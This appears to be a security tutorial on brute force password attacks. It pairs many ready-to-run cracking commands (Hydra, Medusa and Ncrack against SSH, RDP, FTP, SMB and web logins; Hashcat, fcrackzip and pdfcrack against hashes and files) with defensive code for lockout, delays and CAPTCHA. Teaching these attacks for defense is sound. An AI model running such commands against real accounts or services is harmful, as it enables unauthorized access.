Brute Force Attacks: How They Work and How to Defend

When Eight Characters Wasn't Enough

In 2013, attackers brute-forced GitHub accounts using a distributed network of compromised machines. The targets had passwords like "Summer2013" — eight characters that seemed strong but fell in hours against a coordinated attack. Modern brute force attacks leverage GPUs, distributed computing, and optimized algorithms to test billions of combinations per second, making passwords shorter than 12 characters dangerously inadequate.

A brute force attack is a trial-and-error method used to obtain information such as a user password or personal identification number (PIN). In its simplest form, the attacker systematically checks all possible combinations of characters until the correct one is found.

Prerequisites

Before studying brute force attacks, you should understand:

Types of Brute Force Attacks

Simple Brute Force

Every possible character combination is tried:

# Theoretical example — testing all 8-char lowercase passwords
# 26^8 = 208,827,064,576 combinations
# At 1 billion/sec: ~208 seconds

Dictionary Attack

Common words and variations are tried (more efficient):

# Hashcat dictionary attack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# CPU efficient — only tests words in the list
# Covers most commonly used passwords

Hybrid Attack

Dictionary words with modifications:

# Dictionary + digits
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d

# Dictionary + special chars
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?s?d?d

# Common patterns
# password123, admin2026!, summer2026

Reverse Brute Force

Try one common password against many usernames:

# One password, multiple users
hydra -L users.txt -p 'Password123!' target.com http-post-form   "/login:user=^USER^&pass=^PASS^:F=Invalid"

Brute Force Tools

Hydra (Network Services)

# SSH brute force
hydra -l root -P passwords.txt ssh://192.168.1.100

# FTP brute force
hydra -l admin -P passwords.txt ftp://192.168.1.100

# HTTP form brute force
hydra -l admin -P passwords.txt target.com http-post-form   "/login:username=^USER^&password=^PASS^:F=Invalid"

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://192.168.1.100

# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.100

# HTTPS with SSL
hydra -l admin -P passwords.txt https-post-form   "https://target.com/login:user=^USER^&pass=^PASS^:F=Invalid"

Medusa (Parallel Brute Forcing)

# HTTP brute force
medusa -h target.com -U users.txt -P passwords.txt -M http

# SSH brute force
medusa -h 192.168.1.100 -u root -P passwords.txt -M ssh

# SMB brute force
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M smbnt

Ncrack (High-Performance)

# SSH brute force
ncrack -U users.txt -P passwords.txt ssh://192.168.1.100

# RDP brute force
ncrack -U users.txt -P passwords.txt rdp://192.168.1.100

# HTTP brute force
ncrack -U users.txt -P passwords.txt http://target.com/login

Offline Brute Force

Against Hashes

# Hashcat with different attack modes
# Dictionary
hashcat -m 1000 ntlm.txt rockyou.txt

# Mask attack (8 chars, all printable)
hashcat -m 1000 ntlm.txt -a 3 ?a?a?a?a?a?a?a?a --increment

# Rule-based
hashcat -m 1000 ntlm.txt rockyou.txt -r best64.rule

Against Encrypted Files

# ZIP files
fcrackzip -u -D -p passwords.txt protected.zip

# PDF files
pdfcrack -f protected.pdf -w passwords.txt

# RAR files
rarcrack protected.rar --wordlist passwords.txt

Defense Strategies

Account Lockout

from datetime import datetime, timedelta

class AccountLockoutManager:
    def __init__(self, max_attempts=5, lockout_duration=900):
        self.max_attempts = max_attempts
        self.lockout_duration = lockout_duration
        self.attempts = {}

    def record_attempt(self, username):
        now = datetime.now()
        if username not in self.attempts:
            self.attempts[username] = []

        # Clean old attempts
        self.attempts[username] = [
            t for t in self.attempts[username]
            if now - t < timedelta(seconds=self.lockout_duration)
        ]

        self.attempts[username].append(now)

    def is_locked(self, username):
        if username not in self.attempts:
            return False
        return len(self.attempts[username]) >= self.max_attempts

    def remaining_attempts(self, username):
        if username not in self.attempts:
            return self.max_attempts
        return max(0, self.max_attempts - len(self.attempts[username]))

Progressive Delays

function getLoginDelay(attemptNumber) {
  // Progressive delay: 1s, 2s, 4s, 8s, 16s...
  const baseDelay = 1000;
  const maxDelay = 60000; // 1 minute max

  return Math.min(
    baseDelay * Math.pow(2, attemptNumber - 1),
    maxDelay
  );
}

app.post('/login', async (req, res) => {
  const attempts = await getAttempts(req.ip);
  const delay = getLoginDelay(attempts);

  await new Promise(resolve => setTimeout(resolve, delay));

  // Continue with login...
});

CAPTCHA Implementation

<!-- Google reCAPTCHA v3 (invisible) -->
<form action="/login" method="POST">
  <input type="email" name="email" required>
  <input type="password" name="password" required>
  <div class="g-recaptcha" data-sitekey="SITE_KEY"></div>
  <button type="submit">Sign In</button>
</form>
<script src="https://www.google.com/recaptcha/api.js"></script>

Real-World Examples

Alibaba Cloud (2020): A brute force attack targeted Alibaba Cloud's SSH services, with attackers using a botnet of compromised devices to distribute the attack across thousands of IPs.

GitHub Brute Force (2013): Attackers brute forced GitHub accounts using a distributed network of compromised machines, eventually compromising several high-profile accounts.

Common Mistakes

No lockout policy: Without lockout, attackers can try unlimited combinations.

Fast hash algorithms: Using MD5 or SHA-1 for password storage enables fast brute forcing.

Short passwords: Even complex 8-character passwords can be brute forced with GPU clusters.

Client-side only validation: Frontend checks are bypassed by attackers sending raw HTTP.

Best Practices

Related Tools

Related Articles

Summary

Brute force attacks systematically try password combinations until finding the correct one. Defense requires layered protections: account lockout, progressive delays, strong password hashing, CAPTCHA, and most importantly, multi-factor authentication.

Knowledge Check